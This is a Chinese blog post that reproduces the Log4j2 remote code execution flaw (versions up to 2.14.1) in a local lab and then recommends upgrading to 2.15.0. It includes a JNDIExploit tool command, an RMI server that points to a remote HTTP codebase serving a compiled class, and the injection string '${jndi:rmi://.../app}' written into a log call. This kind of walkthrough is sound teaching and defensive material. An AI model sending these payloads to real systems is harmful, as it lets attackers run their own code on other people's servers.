Error(23) Log4j远程代码执行漏洞

一、问题

Log4j2.x<=2.14.1版本,攻击者可通过构造恶意请求,触发远程代码执行漏洞
在这里插入图片描述

二、Log4j远程代码执行漏洞复现

1、下载JNDIExploit

一款用于 JNDI注入 利用的工具

https://github.com/feihong-cs/JNDIExploit

运行

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

在这里插入图片描述

2、远程执行程序 – AppRun

tips: 自行编写相应逻辑 ^_^

public class AppRun {

    static {
        System.out.println("hello world...");
    }

}
3、编译AppRun放入nginx服务器根目录下
javac AppRun.java

将编译好的AppRun.class放入nginx服务器根目录下
在这里插入图片描述

4、编写一个RMI服务端
public class RmiServer {

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            // 本地执行方式
//            Reference reference = new Reference("AppRun", "AppRun", null);
            // tips:如果是远程执行,需要将`AppRun`编译后的字节码文件放到nginx html访问目录下,再通过如下方式执行程序
            Reference reference = new Reference("AppRun", "AppRun", "http://www.zhengqingya.com:80/");
            registry.bind("app", new ReferenceWrapper(reference));
            System.out.println("Create app registry on port 1099...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

运行RmiServer

5、模拟一个用log4j运行的程序

模拟输出特定值,实际上可在前端页面上的输入框中输入这些值,只要程序后台通过log4j打印这些值即会触发远程代码AppRun执行相应逻辑

public class Log4j {
    
    private static final Logger log = LogManager.getLogger(Log4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        log.error("test1: ${java:os}");
        log.error("test2: ${jndi:rmi://192.168.101.88:1099/app}");
    }

}

运行Log4j,即可查看效果
在这里插入图片描述

三、解决

升级log4j版本至2.15.0

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
</dependency>

四、本文案例demo源码

https://gitee.com/zhengqingya/java-workspace


今日分享语句:
就算学习和生活再艰难,也要一边痛着,一边笑着,给生活一张漂亮的脸。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

郑清

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值